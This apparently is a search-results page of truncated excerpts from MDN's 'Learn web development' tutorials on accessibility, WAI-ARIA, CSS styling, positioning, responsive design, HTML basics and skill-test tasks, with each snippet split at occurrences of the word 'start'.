...r on all websites they visit, or a user with severe color deficiency might want to put all websites in high contrast colors that are easy for them to see. whatever the need, you should be comfortable with this, and make your designs flexible enough so that such changes will work in your design. as an example, you might want to make sure your main content area can handle bigger text (maybe it will
start to scroll to allow it all to be seen), and won't just hide it, or break completely. javascript javascript can also break accessibility, depending on how it is used. modern javascript is a powerful language, and we can do so much with it these days, from simple content and ui updates to fully-fledged 2d and 3d games. there is no rule that says all content has to be 100% accessible to all people...
...issue should be fixed soon — work is being done to give firefox behaviour parity with other browsers (see bug 277178). in addition, the errorfield is placed at the top of the source order (although it is positioned differently in the ui using css), meaning that users can find out exactly what's wrong with their form submissions and get to the input elements in question by going back up to the
start of the page. as a final note, we have used some wai-aria attributes in our demo to help solve accessibility problems caused by areas of content constantly updating without a page reload (screen readers won't pick this up or alert users to it by default): <div class="errors" role="alert" aria-relevant="all"> <ul> </ul> </div> we will explain these attributes in our next article, which cover...
WAI-ARIA basics - Learn web development
it at a basic level to improve accessiblity. prerequisites: basic computer literacy, a basic understanding of html, css, and javascript, an understanding of the previous articles in the course. objective: to gain familiarity with wai-aria, and how it can be used to provide useful additional semantics to enhance accessibility where required. what is wai-aria? let's
start by looking at what wai-aria is, and what it can do for us. a whole new set of problems as web apps
started to get more complex and dynamic, a new set of accessibility features and problems
started to appear. for example, html5 introduced a number of semantic elements to define common page features (<nav>, <footer>, etc.) before these were available, developers would simply use <div>s with ids ...
... page feature such as the main navigation programmatically. the initial solution was to add one or more hidden links at the top of the page to link to the navigation (or whatever else), for example: <a href="#hidden" class="hidden">skip to navigation</a> but this is still not very precise, and can only be used when the screenreader is reading from the top of the page. as another example, apps
started to feature complex controls like date pickers for choosing dates, sliders for choosing values, etc. html5 provides special input types to render such controls: <input type="date"> <input type="range"> these are not well-supported across browsers, and it is also difficult to style them, making them not very useful for integrating with website designs. as a result, developers quite often rely o...
... are sometimes referred to as live regions. let's look at a quick example — see aria-no-live.html (also see it running live). in this example we have a simple random quote box: <section> <h1>random quote</h1> <blockquote> <p></p> </blockquote> </section> our javascript loads a json file via xmlhttprequest containing a series of random quotes and their authors. once that is done, we
start up a setinterval() loop that loads a new random quote into the quote box every 10 seconds: let intervalid = window.setinterval(showquote, 10000); this works ok, but it is not good for accessibility — the content update is not detected by screenreaders, so their users would not know what is going on. this is a fairly trivial example, but just imagine if you were creating a complex ui with lots...
Accessibility - Learn web development
ou want to become a web developer. beyond mechanical use, it's important to learn how to use these technologies responsibly so that all readers might use your creations on the web. to help you achieve this, this module will cover general best practices (which are demonstrated throughout the html, css, and javascript topics), cross browser testing, and some tips on enforcing accessibility from the
start. we'll cover accessibility in special detail. overview when someone describes a site as "accessible," they mean that any user can use all its features and content, regardless of how the user accesses the web — even and especially users with physical or mental impairments. sites should be accessible to keyboard, mouse, and touch screen users, and any other way users access the web, includin...
... remains accessible, regardless of who and how the web is accessed. the firefox accessibility inspector is a very useful tool for checking out accessibility issues on web pages. the following video provides a nice introduction to it: looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started prerequisites to get the most out of this module, it would be a good idea to either work through at least the first two modules of the html, css, and javascript topics, or perhaps even better, work through the relevant parts of the accessibility module as you work through the related technology topics. note: if you are working on a computer/tablet/other devices where you don't have the abi...
...or perhaps even better, work through the relevant parts of the accessibility module as you work through the related technology topics. note: if you are working on a computer/tablet/other devices where you don't have the ability to create your own files, you can try out most of the code examples in an online coding program such as jsbin or glitch. guides what is accessibility? this article
starts off the module with a good look at what accessibility is — this includes what groups of people we need to consider and why, what tools different people use to interact with the web, and how we can make accessibility part of our web development workflow. html: a good basis for accessibility a great deal of web content can be made accessible just by making sure the correct html elements are al...
Advanced styling effects - Learn web development
like text shadows, box shadows are supported pretty well across browsers, including ie9+ and edge. users of older ie versions might just have to cope with no shadows, so just test your designs to make sure your content is legible without them. you can find the examples in this section at box-shadow.html (see the source code too). a simple box shadow let's look at a simple example to get things
started. first, some html: <article class="simple"> <p><strong>warning</strong>: the thermostat on the cosmic transcender has reached a critical level.</p> </article> now the css: p { margin: 0; } article { max-width: 500px; padding: 10px; background-color: red; background-image: linear-gradient(to bottom, rgba(0,0,0,0), rgba(0,0,0,0.25)); } .simple { box-shadow: 5px 5px 5px rgba(0,0...
...ack, 6px 6px 1px black; } now we get this result: we've done something fun here by creating a raised box with multiple coloured layers, but you could use it in any way you want, for example to create a more realistic look with shadows based on multiple light sources. other box shadow features unlike text-shadow, box-shadow has an inset keyword available — putting this at the
start of a shadow declaration causes it to become an inner shadow, rather than an outer shadow. let's have a look and see what we mean. first, we'll go with some different html for this example: <button>press me!</button> button { width: 150px; font-size: 1.1rem; line-height: 2; border-radius: 10px; border: none; background-image: linear-gradient(to bottom right, #777, #ddd); box-shado...
... it is popular, and used fairly widely by developers. when used in this context, both of the properties would require a -webkit- vendor prefix, even for non-webkit/chrome-based browsers: .text-clip { -webkit-background-clip: text; -webkit-text-fill-color: transparent; } so why have other browsers implemented a -webkit- prefix? mainly for browser compatibility — so many web developers have
started implementing websites with -webkit- prefixes that it
started to look like the other browsers were broken, whereas in actual fact they were following the standards. so they were forced to implement a few such features. this highlights the danger of using non-standard and/or prefixed css features in your work — not only do they cause browser compatibility issues, but they are also subject to ch...
Test your skills: Images and Form elements - Learn web development
e assessment or further help section at the bottom of this page. task one in this task, you have an image that is overflowing the box. we want the image to scale down to fit inside the box without any extra white space, but we do not mind if some part of the image is cropped. in the example below see if you can match the image above. for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. task two in this task, you have a simple form. your task is to make the following changes to the way this form looks: use attribute selectors to target the search field and button inside .myform. make the form field and button use the same text size as the rest of the form. give the form field and button 10 px of pa...
...yform. make the form field and button use the same text size as the rest of the form. give the form field and button 10 px of padding. give the button a purple background (i used rebeccapurple), white foreground, no border and rounded corners of 5px. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for images skill test 1". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. ...
Test your skills: Overflow - Learn web development
ause it has a fixed height. keep the height but cause the box to have scrollbars only if there is enough text to cause an overflow. test by removing some of the text from the html, that if there is only a small amount of text that does not overflow, no scrollbar appears. ...
...e
starting point for this task to work in your own editor or in an online editor. task two in this task an image is in the box, it is bigger than the dimensions of the box so overflows visibly. change it so that any image outside of the box is hidden. try updating the live code below to recreate the example as displayed in the image: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. assessment or further help you can practice these examples in the interactive editors mentioned above. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for overflow skill test 1". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. ...
Attribute selectors - Learn web development
li[class~="a"] will match a class of a but also a value that contains the class of a as part of a whitespace-separated list. it selects the second and third list items. substring matching selectors these selectors allow for more advanced matching of substrings inside the value of your attribute. for example, if you had classes of box-warning and box-error and wanted to match everything that
started with the string "box-", you could use [class^="box-"] to select them both (or [class|="box"] as described in section above). selector example description [attr^=value] li[class^="box-"] matches elements with an attr attribute (whose name is the value in square brackets), whose value begins with value. [attr$=value] li[class$="-box"] matches elem...
...h value. [attr*=value] li[class*="box"] matches elements with an attr attribute whose value contains value anywhere within the string. (aside: it may help to note that ^ and $ have long been used as anchors in so-called regular expressions to mean begins with and ends with.) the next example shows usage of these selectors: li[class^="a"] matches any attribute value which
starts with a, so matches the first two list items. li[class$="a"] matches any attribute value that ends with a, so matches the first and third list item. li[class*="a"] matches any attribute value where a appears anywhere in the string, so it matches all of our list items. case-sensitivity if you want to match attribute values case-insensitively you can use the value i before the closing bracke...
...re the closing bracket. this flag tells the browser to match ascii characters case-insensitively. without the flag the values will be matched according to the case-sensitivity of the document language — in html's case it will be case sensitive. in the example below, the first selector will match a value that begins with a — it only matches the first list item because the other two list items
start with an uppercase a. the second selector uses the case-insensitive flag and so matches all of the list items. note: there is also a newer value s, which will force case-sensitive matching in contexts where matching is normally case-insensitive, however this is less well supported in browsers and isn't very useful in an html context. next steps now we are done with attribute selectors, you ...
Styling tables - Learn web development
es we all have to do it. this article provides a guide to making html tables look good, with some specific table styling techniques highlighted. prerequisites: html basics (study introduction to html), knowledge of html tables, and an idea of how css works (study css first steps.) objective: to learn how to effectively style html tables. a typical html table let's
start by looking at a typical html table. well, i say typical — most html table examples are about shoes, or the weather, or employees; we decided to make things more interesting by making it about famous punk bands from the uk. the markup looks like so: <table> <caption>a summary of the uk's most famous punk bands</caption> <thead> <tr> <th scope="col">band</th> <th scope="col">...
...e, and accessible, thanks to features such as scope, <caption>, <thead>, <tbody>, etc. unfortunately, it doesn't look good when rendered on the screen (see it live at punk-bands-unstyled.html): with only the default browser styling it looks cramped, hard to read, and boring. we need to use some css to fix this up. styling our table let's work through styling our table example together. to
start with, make a local copy of the sample markup, download both images (noise and leopardskin), and put the three resulting files in a working directory somewhere on your local computer. next, create a new file called style.css and save it in the same directory as your other files. link the css to the html by placing the following line of html inside your <head>: <link href="style.css" rel="style...
...the heading inside the <tfoot> so that it is visually associated better with its data point. the result looks a bit neater: graphics and colors now onto graphics and colors! because the table is full of punk and attitude, we need to give it some bright imposing styling to suit. don't worry, you don't have to make your tables this loud — you can opt for something more subtle and tasteful. ...
Test your skills: backgrounds and borders - Learn web development
ge header: give the box a 5px black solid border, with rounded corners of 10px. add a background image (use the url balloons.jpg) and size it so that it covers the box. give the <h2> a semi-transparent black background color, and make the text white. the finished example should look like the image below. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. backgrounds and borders 2 in this task we want you to add background images, a border, and some other styling to a decorative box: give the box a 5px lightblue border, and round the top left corner 20px and the bottom right corner 40px the heading uses the star.png image as a background image, with a single centered ...
...e, with a single centered star on the left and a repeating pattern of stars on the right. make sure that the heading text does not overlay the image, and that it is centered — you will need to use techniques learned in previous lessons to achieve this. ...
... write a post asking for assessment and/or help at the mdn discourse forum. add the "learning" tag to your post so we are able to more easily find it. your post should include: a descriptive title such as "assessment wanted for flexbox layout 1 skill test". ...
CSS building blocks - Learn web development
rders, debugging, and lots more. the aim here is to provide you with a toolkit for writing competent css and help you understand all the essential theory, before moving on to more specific disciplines like text styling and css layout. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get
started prerequisites before
starting this module, you should have: basic familiarity with using computers, and using the web passively (i.e. just looking at it, consuming the content.) a basic work environment set up as detailed in installing basic software, and an understanding of how to create and manage files, as detailed in dealing with files. basic familiarity with html, as discussed in t...
...od, with some specific table styling techniques highlighted. debugging css sometimes when writing css you will encounter an issue where your css doesn't seem to be doing what you expect. this article will give you guidance on how to go about debugging a css problem, and show you how the devtools included in all modern browsers can help you find out what is going on. organizing your css as you
start to work on larger stylesheets and big projects you will discover that maintaining a huge css file can be challenging. in this article, we will take a brief look at some best practices for writing your css to make it easily maintainable, and some of the solutions you will find in use by others to help improve maintainability. assessments want to test your css skills? the following assessments w...
...to test your css skills? the following assessments will test your understanding of the css covered in the guides above. fundamental css comprehension this assessment tests your understanding of basic syntax, selectors, specificity, box model, and more. creating fancy letterheaded paper if you want to make the right impression, writing a letter on nice letterheaded paper can be a really good
start. in this assessment, we'll challenge you to create an online template to achieve such a look. a cool looking box here you'll get some practice in using background and border styling to create an eye-catching box. ...
Test your skills: position - Learn web development
ection at the bottom of this page. positioning one in this task you need to position the item with a class of target to the top and right of the container, which has the 5px grey border. ...
...poses, download the
starting point for this task to work in your own editor or in an online editor. position two in the below example if you scroll the box the sidebar scrolls with the content. change it so that the sidebar stays in place and only the content scrolls. try updating the live code below to recreate the finished example: for assessment or further work purposes, download the
starting point for this task to work in your own editor or in an online editor. assessment or further help you can practice these examples in the interactive editors mentioned above. if you would like your work assessed, or are stuck and want to ask for help: put your work into an online shareable editor such as codepen, jsfiddle, or glitch. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for position skill test 1". details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. ...
Positioning - Learn web development
ues, and how to use them. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css.) objective: to learn how css positioning works. we'd like you to follow along with the exercises on your local computer, if possible — grab a copy of 0_basic-flow.html from our github repo (source code here) and use that as a
starting point. introducing positioning the whole idea of positioning is to allow us to override the basic document flow behavior described above, to produce interesting effects. what if you want to slightly alter the position of some boxes inside a layout from their default layout flow position, to give a slightly quirky, distressed feel? positioning is your tool. or if you want to create a ui eleme...
...ack; } .positioned { position: absolute; background: yellow; top: 30px; left: 30px; } the positioned element now sits relative to the <body> element. note: you can see the example at this point live at 4_positioning-context.html (see source code). introducing z-index all this absolute positioning is good fun, but there is another thing we haven't considered yet — when elements
start to overlap, what determines which elements appear on top of which other elements? in the example we've seen so far, we only have one positioned element in the positioning context, and it appears on the top, since positioned elements win over non-positioned elements. what about when we have more than one? try adding the following to your css, to make the first paragraph absolutely positioned too:...
.... we give the heading the same width as the content column and then give it a white background and some padding and margin, so the content won't be visible underneath it. if you save and refresh now, you'll see a fun little effect whereby the heading stays fixed, and the content appears to scroll up and disappear underneath it. but we could improve this more — at the moment some of the content
starts off underneath the heading. this is because the positioned heading no longer appears in the document flow, so the rest of the content moves up to the top. we need to move it all down a bit; we can do this by setting some top margin on the first paragraph. add this now: p:nth-of-type(1) { margin-top: 60px; } you should now see the finished example: <h1>fixed positioning</h1> <p>i am a basi...
Responsive design - Learn web development
a horizontal scrollbar on screens smaller than the site width (as seen below), and lots of white space at the edges of the design on larger screens. note: see this simple fixed-width layout: example, source code. again, observe the result as you change the browser window size. note: the screenshots above are taken using the responsive design mode in firefox devtools. as the mobile web
started to become a reality with the first feature phones, companies who wished to embrace mobile would generally create a special mobile version of their site, with a different url (often something like m.example.com, or example.mobi). this meant that two separate versions of the site had to be developed and kept up-to-date. in addition, these mobile sites often offered a very cut down experience. as...
...arget every possible device size that there is, and build a pixel perfect layout for it. that approach would be impossible given the vast number of differently-sized devices that exist, and the fact that on desktop at least, people do not always have their browser window maximized. by using a flexible grid, you only need to add in a breakpoint and change the design at the point where the content
starts to look bad. for example, if the line lengths become unreadably long as the screen size increases, or a box becomes squashed with two words on each line as it narrows. in the early days of responsive design, our only option for performing layout was to use floats. flexible floated layouts were achieved by giving each element a percentage width, and ensuring that across the layout the totals wer...
...ale=1"> this meta tag tells mobile browsers that they should set the width of the viewport to the device width, and scale the document to 100% of its intended size, which shows the document at the mobile-optimized size that you intended. why is this needed? because mobile browsers tend to lie about their viewport width. this meta tag exists because when the original iphone launched and people
started to view websites on a small phone screen, most sites were not mobile optimized. the mobile browser would, therefore, set the viewport width to 960 pixels, render the page at that width, and show the result as a zoomed-out version of the desktop layout. other mobile browsers (e.g. on google android) did the same thing. users could zoom in and pan around the website to view the bits they were int...
create fancy boxes - Learn web development
css boxes are the building blocks of any web page styled with css. making them nice looking is both fun and challenging. it's fun because it's all about turning a design idea into working code; it's challenging because of annoying constraints and crazy freedom in the use of css. let's do some fancy boxes. before we
start getting into the practical side of it, make sure you are familiar with the css box model. it's also a good idea, but not a prerequisite, to be familiar with some css layout basics. on the technical side, creating fancy boxes are all about mastering css border and background properties and how to apply them to a given box. but beyond the technics its also all about unleashing your creativity. it will not be done in one day, and some web developers spend their whole lif...
...nd properties: background, background-color, background-image, background-position, background-size, etc. its pseudo-element: ::before and ::after and some aside properties like: box-shadow, transform, outline, etc. so we have a very large playground. let the fun begin. box model tweak the box model alone allows us to do some basic stuff, like adding simple borders, making squares, etc.. it
starts to get interesting when you push the properties to the limit by having negative padding and/or- margin by having border-radius larger than the actual size of the box. making circles <div class="fancy">hi! i want to be fancy.</div> this is something that is both very simple and very fun. the border-radius property is made to create a rounded corner applied to boxes, but what happens if the r...
... border : 0.5em solid black; /* let's make sure we have a square. if it's not a square, we'll get an ellipsis rather than a circle ;) */ width : 4em; height : 4em; /* and let's turn the square into a circle */ border-radius: 100%; } yes, we get a circle: backgrounds when we talk about a fancy box, the core properties to handle that are background-* properties. when you
start fiddling with backgrounds it's like your css box is turned into a blank canvas you'll fill. before we jump to some practical examples, let's step back a bit as there are two things you should know about backgrounds. it's possible to set several backgrounds on a single box. they are stacked on top of each other like layers. backgrounds can be either solid colors or images: solid color always ...
What text editors are available? - Learn web development
ists mostly of text files, so for a fun, pleasant development experience you should choose your text editor wisely. the sheer number of choices is a bit overwhelming, since a text editor is so basic to computer science (yes, web development is computer science). ideally, you'd try as many editors as you can and get a feel for what suits your workflow. but we'll give you some pointers for getting
started. here are the primary questions you should consider: which os (operating system) do i want to work with? what kind of technologies do i want to manipulate? what kind of basic features do i expect from my text editor? do i want to add extra features to my text editor? do i need support/help while using my text editor? does my text editor's look-and-feel matter to me? notice we didn't ...
...hnologies you're working with. many text editors help you out with features like: syntax highlighting. make your file more legible by color-coding keywords based on the technology you're using. code completion. save you time by auto-completing recurring structures (for example, automatically close html tags, or suggesting valid values for a given css property). code snippets. as you saw when
starting a new html document, many technologies use the same document structure over and over. save yourself the hassle of retyping all this by using a code snippet to pre-fill your document. most text editors now support syntax highlighting, but not necessarily the other two features. make sure in particular that your text editor supports highlighting for html, css, and javascript. what kind of bas...
... software comes in a compressed archive like .zip, .7z, or .rar, and in that case you'll need to install an additional program to extract the content from the archive. windows supports .zip by default. mac. on the editor's website you can download a .dmg file. some text editors you can find directly in the apple store to make installation even simpler. linux. in the most popular distros you can
start with your graphical package manager (ubuntu software center, mintinstall, gnome software, &c.). you can often find a .deb or .rpm file for prepackaged software, but most of the time you'll have to use your distro's repository server or, in worst case scenario, compile your editor from source. take the time to carefully check the installation instructions on the text editor's website. when you i...
What do common web layouts contain? - Learn web development
when designing pages for your website, it's good to have an idea of the most common layouts. prerequisites: make sure you've already thought about what you want to accomplish with your web project. objective: learn where to put things on your webpages, and how to put them there. summary there's a reason we talk about web design. you
start out with a blank page, and you can take it so many directions. and if you don't have much experience,
starting out with a blank page might be a bit scary. we have over 25 years' experience and we'll give you some common rules of thumb to help you design your site. even now with the new focus on mobile web, almost all mainstream webpages are built from these parts: header visible at the top of every page on the site. con...
...hings on the side): 1-column layout. especially important for mobile browsers so you don't clutter the small screen up. 2-column layout. often used to target tablets, since they have medium-size screens. 3-column layouts. only suitable for desktops with big screens. (even many desktop-users prefer viewing things in small windows rather than full-screen.) the real fun begins when you
start mixing them all together: … these are just examples and you're quite free to lay things out as you want. you may notice that, while the content can move around on the screen, we always keep the header (1) on top and the footer (2) at the bottom. also, the main content (a) matters most, so give it most of the space. these are rules of thumb you can draw on. there are complex designs and ex...
...tent or as side content. it doesn't really matter. what does matter is, if you put something right under the header, it should either be main content or directly related to the main content. it's a trap mica. this is a bit trickier. it looks like a three-column layout... ...but it's not. b1 and b2 float around the main content. remember that word "float"--it will ring a bell when you
start learning about css. why would you think it's a three-column layout? because the image on the top-right is l-shaped, because b1 looks like a column supporting the shifted main content, and because the "m" and "i" of the mica logo create a vertical line of force. this is a good example of a classic layout supporting some design creativity. simple layouts are easier to implement, but allow yoursel...
How much does it cost to do something on the Web? - Learn web development
t, you can test as long as you like, but you're encouraged to pay. some, like phpstorm, can cost between a few dozen and 200 dollars, depending on the plan you purchase. some of them, like microsoft visual studio, can cost hundreds, or thousands of dollars; though visual studio express is free for individual developers or open source projects. often, for-pay editors will have a trial version. to
start, we suggest trying out several editors, to get a sense of which works best for you. if you're only writing simple html, css, and javascript, go with a simple editor. price does not reliably reflect a text editor's quality or usefulness. you have to try it for yourself and decide if it meets your needs. for example, sublime text is cheap, but comes with many free plugins that can greatly extend i...
... you pay. your website is yours, and you can migrate seamlessly from one hosting provider to the next. free hosting providers may add advertising to your content, beyond your control. it is better to go for paid hosting rather than relying on free hosting, as it is possible to move your files easily and uptime is guaranteed by most paid sites. most hosting providers give you a huge discount to
start with. some people opt for a mixed approach. for example, their main blog on a paid host with a full domain name, and spontaneous, less strategic, content on a free host service. professional website agencies and hosting if you desire a professional website, you will likely ask a web agency to do it for you. here, costs depend on multiple factors, such as: is this a simple website with a ...
... read on about how to choose and install a text editor. if you're more focused on design, take a look at the anatomy of a web page. ...
What are browser developer tools? - Learn web development
ful suite of developer tools. these tools do a range of things, from inspecting currently-loaded html, css and javascript to showing which assets the page has requested and how long they took to load. this article explains how to use the basic functions of your browser's devtools. note: before you run through the examples below, open the beginner's example site that we built during the getting
started with the web article series. you should have this open as you follow the steps below. how to open the devtools in your browser the devtools live inside your browser in a subwindow that looks roughly like this, depending on what browser you are using: how do you pull it up? three ways: keyboard: ctrl + shift + i, except internet explorer and edge: f12 macos: ⌘ + ⌥ + i ...
...you don't see the inspector, tap/click the inspector tab. in internet explorer, tap/click dom explorer, or press ctrl + 1. in microsoft edge, or opera, tap/click elements. in safari, the controls are not so clearly presented, but you should see the html if you haven't selected something else to appear in the window. press the style button to see the css. exploring the dom inspector for a
start, right-click (ctrl-click) an html element in the dom inspector and look at the context menu. the available menu options vary among browsers, but the important ones are mostly the same: delete node (sometimes delete element). deletes the current element. edit as html (sometimes add attribute/edit text). lets you change the html and see the results on the fly. very useful for debugging and te...
... the following incorrect versions of the code and see what you get. alert('hello!); document.cheeseselector('html').style.backgroundcolor = 'purple'; const mywordmark = document.createelement('img'); mybanana.setattribute('src','https://blog.mozilla.org/press/wp-content/themes/onemozilla/img/mozilla-wordmark.png'); document.queryselector('h1').appendchild(mywordmark); you'll
start to see the kind of errors that the browser returns. often these errors are fairly cryptic, but it should be pretty simple to figure these problems out! find out more find more out about the javascript console in different browsers: firefox web console ie javascript console chrome javascript console (opera's inspector works the same as this) safari console ...
Test your skills: HTML5 controls - Learn web development
tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. html5 controls 1 first let's explore some of the new html5 input types. create appropriate inputs for a user to update their details for: email website phone number favourite color try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. html5 controls 2 next, we want you to implement a slider control to allow the user to choose a maximum number of people to invite to their party. implement a basic slider control to go along with the provided label. give it a minimum value of 1, maximum value of 30, and initial value of 10. create a corresponding ou...
...itial value of 10. create a corresponding output element to put the current value of the slider into. give it a class of invite-output, and semantically associate it with the input. if you do this correctly, the javascript included on the page will automatically update the output value when the slider is moved. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for html5 controls 1 skill test". details of what you have already tried, and what you would like us to do, e.g. ...
Test your skills: Styling basics - Learn web development
if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. styling basics 1 our basic form styling assessment is fairly free-form, and you have a lot of flexibility over what you end up doing here. ...
...flexibility over what you end up doing here. but your css should aim to fulfill the following requirements: add some kind of lightweight "reset" to make fonts, padding, margin, and sizing more consistent to begin with. on top of that, add in some nice, consistent styling for the inputs and button. use some kind of layout technique to make the inputs and labels line up neatly. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for styling basics 1 skill test". details of what you have already tried, and what you would like us to do, e.g. ...
UI pseudo-classes - Learn web development
equired { border: 1px solid black; } input:optional { border: 1px solid silver; } the required controls would have a black border, and the optional control will have a silver border, like so: you can also try submitting the form without filling it in, to see the client-side validation error messages browsers give you by default. the above form isn't bad, but it isn't great either. for a
start, we are signalling required versus optional status using color alone, which isn't great for colorblind people. second, the standard convention on the web for required status is an asterisk (*), or the word "required" being associated with the controls in question. in the next section, we'll look at a better example of indicating required fields using :required, which also digs into using generat...
...the full example looks like so: note: :enabled and :read-write are two more pseudo-classes that you'll probably rarely use, given that they describe the default states of input elements. radio and checkbox states — checked, default, indeterminate as we've seen in earlier articles in the module, radio buttons and checkboxes can be checked or unchecked.
...transform-origin to make it grow from the center of the circle, rather than having it appear to grow from the circle's corner. :default and :indeterminate as mentioned above, the :default pseudo-class matches radios/checkboxes that are checked by default, on page load, even when unchecked. this could be useful for adding an indicator to a list of options to remind the user what the defaults (or
starting options) were, in case they want to reset their choices. also mentioned above radios/checkboxes will be matched by the :indeterminate pseudo-class when they are in a state where they are neither checked nor unchecked. but what does this mean? elements that are indeterminate include: <input/radio> inputs, when all radio buttons in a same-named group are unchecked <input/checkbox> inputs wh...
CSS basics - Learn web development
we'll answer questions like: how do i make text red? how do i make content display at a certain location in the (webpage) layout? how do i decorate my webpage with background images and colors? what is css? like html, css is not a programming language. it's not a markup language either. css is a style sheet language. css is what you use to selectively style html elements. for example, this css selects paragraph text, setting the color to red: p { color: red; } let's try it out! using a text editor, paste the three lines of css (above) into a new file. ...
...ou should see something like this: if your paragraph text is red, congratulations! your css is working. anatomy of a css ruleset let's dissect the css code for red paragraph text to understand how it works : the whole structure is called a ruleset. (the term ruleset is often referred to as just rule.) note the names of the individual parts: selector this is the html element name at the
start of the ruleset. it defines the element(s) to be styled (in this example, <p> elements). to style a different element, change the selector. declaration this is a single rule like color: red;. it specifies which of the element's properties you want to style. properties these are ways in which you can style an html element. (in this example, color is a property of the <p> elements.) in css, you ...
... dealing with files html basics css basics javascript basics publishing your website how the web works ...
HTML basics - Learn web development
for example, content could be structured within a set of paragraphs, a list of bulleted points, or using images and data tables. as the title suggests, this article will give you a basic understanding of html and its functions. so what is html? html is not a programming language; it is a markup language that defines the structure of your content. html consists of a series of elements, which you use to enclose, or wrap, different parts of the content to make it appear a certain way, or act a certain way. ...
... could specify that it is a paragraph by enclosing it in paragraph tags: <p>my cat is very grumpy</p> anatomy of an html element let's explore this paragraph element a bit further. the main parts of our element are as follows: the opening tag: this consists of the name of the element (in this case, p), wrapped in opening and closing angle brackets. this states where the element begins or
starts to take effect — in this case where the paragraph begins. the closing tag: this is the same as the opening tag, except that it includes a forward slash before the element name. this states where the element ends — in this case where the paragraph ends. failing to add a closing tag is one of the standard beginner errors and can lead to strange results. the content: this is the content of th...
... dealing with files html basics css basics javascript basics publishing your website how the web works ...
How the Web works - Learn web development
clients and servers computers connected to the web are called clients and servers. ...
... clients and servers computers connected to the web are called clients and servers. ...
...erver, asking it to send a copy of the website to the client (you go to the shop and order your goods). this message, and all other data sent between the client and the server, is sent across your internet connection using tcp/ip. if the server approves the client's request, the server sends the client a "200 ok" message, which means "of course you can look at that website! here it is", and then
starts sending the website's files to the browser as a series of small chunks called data packets (the shop gives you your goods, and you bring them back to your house). the browser assembles the small chunks into a complete web page and displays it to you (the goods arrive at your door — new shiny stuff, awesome!). dns explained real web addresses aren't the nice, memorable strings you type into...
Marking up a letter - Learn web development
html next we all learn to write a letter sooner or later; it is also a useful example to test our text formatting skills. in this assignment, you'll have a letter to mark up as a test for your html text formatting skills, as well as hyperlinks and proper use of the html <head> element. prerequisites: before attempting this assessment you should have already worked through getting
started with html, what's in the head? metadata in html, html text fundamentals, creating hyperlinks, and advanced text formatting. objective: test basic and advanced html text formatting, use of hyperlinks, and use of html <head>.
starting point to begin, get the raw text you need to mark up, and the the css to style the html. create a new .html file using your text editor or use ...
...o the university. block/structural semantics use appropriate document structure including doctype, and <html>, <head> and <body> elements. in general, the letter should be marked up as an organization of headings and paragraphs, with the following exception. there is one top level heading (the "re:" line) and three second level headings. use an appropriate list type to mark up the semester
start dates, study subjects, and exotic dances. put the two addresses inside <address> elements. each line of the address should sit on a new line, but not be in a new paragraph. inline semantics the names of the sender and receiver (and tel and email) should be marked up with strong importance. the four dates in the document should be have appropriate elements containing machine-readable dates.
...aluated or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good habit to develop. it's very hard to help someone with a coding problem without seeing their code. ...
Structuring a page of content - Learn web development
ooking, and choose appropriate structural semantics to build a layout on top of. prerequisites: before attempting this assessment you should have already worked through the rest of the course, with a particular emphasis on document and website structure. objective: to test knowledge of web page structures, and how to represent a prospective layout design in markup.
starting point to get this assessment
started, you should go and grab the zip file containing all the
starting assets. the zip file contains: the html you need to add structural markup to. css to style your markup. images that are used on the page. create the example on your local computer, or alternatively use an online tool such as codepen, jsfiddle, or glitch to work on the tasks. note:...
...tain the welcome text, and a sidebar to contain image thumbnails. a footer containing copyright information and credits. you need to add a suitable wrapper for: the header the navigation menu the main content the welcome text the image sidebar the footer you should also: apply the provided css to the page by adding another <link> element just below the existing one provided at the
start. hints and tips use the w3c nu html checker to catch unintended mistakes in your html, css, and svg — mistakes you might have otherwise missed — so that you can fix them. you don't need to know any css to do this assessment; you just need to put the provided css inside an html element. the provided css is designed so that when the correct structural elements are added to the markup, th...
...e you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code. ...
Test your skills: Advanced HTML text - Learn web development
n online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. advanced html text 1 in this task we want you to turn the provided animals and their definitions into a description list. try updating the live code below to recreate the finished example: download the
starting point for this task to work in your own editor or in an online editor. advanced html text 2 in this task we want you to add some semantics to the provided html as follows: turn the second paragraph into a block-level quote, and semantically indicate that the quote is taken from accessibility. semantically mark up "html" and "css" as acronyms, providing expansions as tooltips. semantica...
...en from accessibility. semantically mark up "html" and "css" as acronyms, providing expansions as tooltips. semantically associate machine-readable dates with the dates in the text. use subscript and superscript to provide correct semantics for the chemical formulae and dates, and make them display correctly. ...
... write a post asking for assessment and/or help at the mdn discourse forum learning category. your post should include: a descriptive title such as "assessment wanted for advanced html text 1 skill test". details of what you have already tried, and what you would like us to do, e.g. ...
Test your skills: HTML text basics - Learn web development
e an online tool such as codepen, jsfiddle, or glitch to work on the tasks. if you get stuck, then ask us for help — see the assessment or further help section at the bottom of this page. html text basics 1 in this task we want you to mark up the provided html using semantic heading and paragraph elements. try updating the live code below to recreate the finished example: download the
